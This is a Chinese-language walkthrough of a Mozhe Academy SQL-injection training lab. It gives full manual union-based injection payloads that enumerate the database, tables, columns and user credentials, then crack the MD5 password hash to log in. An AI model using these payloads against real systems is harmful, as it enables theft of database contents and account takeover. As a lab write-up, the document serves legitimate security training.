墨者学院SQL手工注入靶场漏洞详解
目录靶场地址步骤详解目录
靶场地址
该靶场由墨者学院安全工程师“墨者”所搭建,靶场环境为Nginx+PHP+MySQL,启动靶场只需1墨币(注册的时候会送十几个墨币并且不会重复消耗,只需要尽情练习即可),靶场地址:
/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe
步骤详解
观察首页,是否有注入入口表单处无法进行注入,这时可以发现滚动栏有个通知,点开之后发现这是一个可能存在注入入口的页面。
通知页如下图所示:
地址栏带参数id=1,说明这个页面很有可能是从数据库返回的数据。
在地址栏参数部分添加sql语句and 1=2
,查看是否可能实现注入。
页面出错了,说明参数确实在数据库进行了查询,则说明可以通过URL传递参数进行SQL注入。
参数增加语句order by [number]
判断该被注入表的列数,经过尝试后发现当数字为5时页面出错,则说明该表共有4列。
获取到表的列数后,根据通知页面的id=1这个属性,可以推断出来页面所显示的内容应该是存在数据库该张表的某处。那么利用union语句,我们尝试去寻找这些内容具体是在表格的第几列。在参数上增加语句and 1=2 union select 1,2,3,4
,因为union的前半句sql必然是错误的,因此只会构造出1,2,3,4这四列内容,那么此时页面显示的数字即是我们正在寻找的列。
如图,说明标题对应的列为表格第二列,内容对应的为表格第三列。
5. 利用第2、3列的内容会在该页面显示的这一特性,我们就可以尽可能地利用sql语句来获取我们需要的信息。在参数中输入and 1=2 union select 1,database(),user(),4
,得到数据库名称为mozhe_Discuz_StormGroup,用户名为root@localhost。
6. 我们知道每个MySQL数据库中都有名为information和mysql的数据库,所有的数据库信息都储存在information中,而MySQL的用户名的密码则存储在mysql的user表中。利用这两张已知表,可以查询到,参数中输入and 1=2 union select 1,database(),table_name,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' limit 1
。
现在获取到了表名“StormGroup_member”。
有了表名,就可以继续获取列名。参数填入and 1=2 UNION SELECT 1,database(),column_name,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' limit 1,1
(这里选择展示第2列是因为第1列是id,事先试一下就知道了)。
参数填入and 1=2 UNION SELECT 1,database(),name,4 from StormGroup_member limit 0,1
,获取到name值为mozhe。
接着按照步骤7和8,同理获取到password列的值:
根据获取的用户名和密码,登录系统(获取的第一行用户名和密码不一定能正常登录,且密码为密文,需用md5进行简单的解密)。
至此,将系统下方显示的KEY值提交,整个破解的过程算是结束啦~~
提醒各位:注入的方法有很多种,希望大家多多尝试哈!